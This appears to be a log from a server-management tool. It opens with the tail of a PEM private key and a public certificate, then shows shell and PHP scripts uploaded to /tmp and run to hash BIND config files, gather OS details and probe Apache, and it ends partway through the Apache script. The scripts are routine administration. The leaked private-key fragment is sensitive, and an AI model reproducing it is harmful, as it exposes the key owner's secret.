tAxovG3IespJI3W0dgOzzk8QNoifgva+y0OAVPRp39k6omTm4h3IJXu4G+VIdzlS
o4yt2riwwsFf6e/FgaOgV2iK/Q+mJdazpcx8fIC9cQKBgQDhBiALpeOvd8ozr68M
ojVfoQDEnQp2UJJN5RwgunvQW9IdBRvw68JJL1+OxsTmidlaiS1mOkQvs1daF/m5
1SJgAcCSsY3ARlhPntl3ykbduLaELu/iU8wkzc/rac44nWbYrBcdlwvcKtJ4nJ3B
6INJ+CNYi08YaJYEytfhgqGHeQKBgQC/YgROcAHPPHpxF2M4kjJVpQLZdeVTbdvc
uPAJ0Cd39+roPRG3T0ATwypCQc2ZZnT2+JDDB9uu7r9WkoSEgWOZJdw/0HJvB5o1
NjRDCBqnR5v0Qhll4heodfxun1/NTH1I40zklHzbC2iFFFhffgAdi43l27a1CE/o
FUV5rm8gqwKBgDFeEKW9jUgvtbLFNlhFNgR25B4+fc8bOh3Qx+z+PK+nlV88gbbH
YmZ/+Czwur4BPCg6tDUbT15PsDhZzjXQ5qu9dqw4O+sVA8bkCL3ZKNb38ULqsUIs
NDtW0+jH27BcB/Y9Ow0I2FdDJc3EPnAOPM97mvWQCphGSbNfdSFKcXmxAoGAHrBL
+nvxfla3V50ldvPSiHM+YrqJ/HfYUquBKkGroowpqfXo+lkF8GVSSG+e1WNdjCDN
rch7zLBSFELIZysMWol8qOr2/qDcdH3toXYSOBK+iktzIShBHO1WfjKmPRhv2plA
QkMhRkqtBvH9PcrJn/M53Mr/oEXl8lQ+4MU84qMCgYAJsXTJJG2u3Heq95QPM9U5
j/RPSxTY39T2FUYuQ8RGcMFljKQdxeuTxIj5xKxzCFeg4DmQXaXnugNM/H2wRlax
70KQegEg/6DpOsAMAXYIJoeRNPP3KJehxLKh3YwfWNAO0lwokCc8TxYWMkXCRn7m
+I6wQHulwbvcZmdrGgHg2g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-02 12:25:32: Establishing a connection
2026-03-02 12:28:35: Establishing a connection
2026-03-02 12:28:36: 

PUT: /tmp/pkp218873

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 12:28:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp218873; rm /tmp/pkp218873'

2026-03-02 12:28:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 12:31:07: Establishing a connection
2026-03-02 12:31:07: Performing Server Status
2026-03-02 12:31:07: 

PUT: /tmp/pkp757058

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-02 12:31:07: 

chmod 755 /tmp/pkp757058; /tmp/pkp757058; rm /tmp/pkp757058

2026-03-02 12:31:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-101-generic



2026-03-02 12:31:07: 

PUT: /tmp/pkp184639

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
